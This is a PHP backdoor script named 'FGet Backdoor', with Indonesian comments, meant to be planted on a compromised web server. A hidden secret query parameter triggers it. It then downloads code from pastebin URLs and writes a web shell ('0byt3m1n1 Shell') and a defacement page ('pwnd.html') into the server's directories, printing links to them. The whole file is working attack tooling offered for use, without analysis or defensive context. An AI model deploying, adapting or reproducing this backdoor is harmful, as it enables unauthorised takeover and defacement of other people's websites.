FGet Backdoor

<?php
error_reporting(0);
$name = "pwnd.html"; // Digunakan untuk nama file
$files = "https://pastebin.com/raw/8L5ZmkPF"; // Digunakan untuk file yang akan dipanggil
$secret = "0xbyt3"; // Digunakan untuk hidden file pada FGet Backdoor (contoh: victim.com/fget.php?0xbyt3)


if($_GET["$secret"] === '') {
    echo "<title>FGet Backdoor</title>\n<style type=\"text/css\">body {background:#000000;font-family:'Courier';color:lime;}a{color:lime;text-decoration:none;}h1{text-align:center;margin:1;}</style>";
    echo "<h1>FGET Backdoor</h1>";

    function shellone($name) {
        $filename = "cache_".md5($name).".php";
        $fget=file_get_contents("https://pastebin.com/raw/ntq2g95Z");
        $path=getcwd().DIRECTORY_SEPARATOR;
        $fileopen=fopen("$path/$filename",'w');
        $execfile=fwrite($fileopen,$fget);
        $shellurl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]".dirname($_SERVER[REQUEST_URI])."/$filename";
            if($execfile)
            {
                if(file_exists(getcwd()."/$filename")) {
                    echo "<font color=\"#00FF00\">[OK!] <a href=\"$shellurl\" target=\"_blank\">$shellurl</a> <font color=\"#009900\">=> 0byt3m1n1 Shell</font></font>";
                }
                else {
                    echo "<font color=\"red\">$path$filename<br>Doesn't exist!</font>";
                }
            }
            else {
                echo "<font color=\"red\">Failed get newfile $filename in $path</font>";
            }
    }

    function shelltwo($name, $file) {
        $filename = $name;
        $fget=file_get_contents($file);
        $path=$_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
        $fileopen=fopen("$path/$filename",'w');
        $execfile=fwrite($fileopen,$fget);
        $shellurl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]"."/$filename";
            if($execfile)
            {
                if(file_exists($path."/$filename")) {
                    echo "<font color=\"#00FF00\">[OK!] <a href=\"$shellurl\" target=\"_blank\">$shellurl</a></font>";
                }
                else {
                    echo "<font color=\"red\">$path$filename<br>Doesn't exist!</font>";
                }
            }
            else {
                echo "<font color=\"red\">Failed get newfile $filename in $path</font>";
            }
    }

    shellone($name);
    echo "<br>";
    shelltwo($name,$files);
}
?>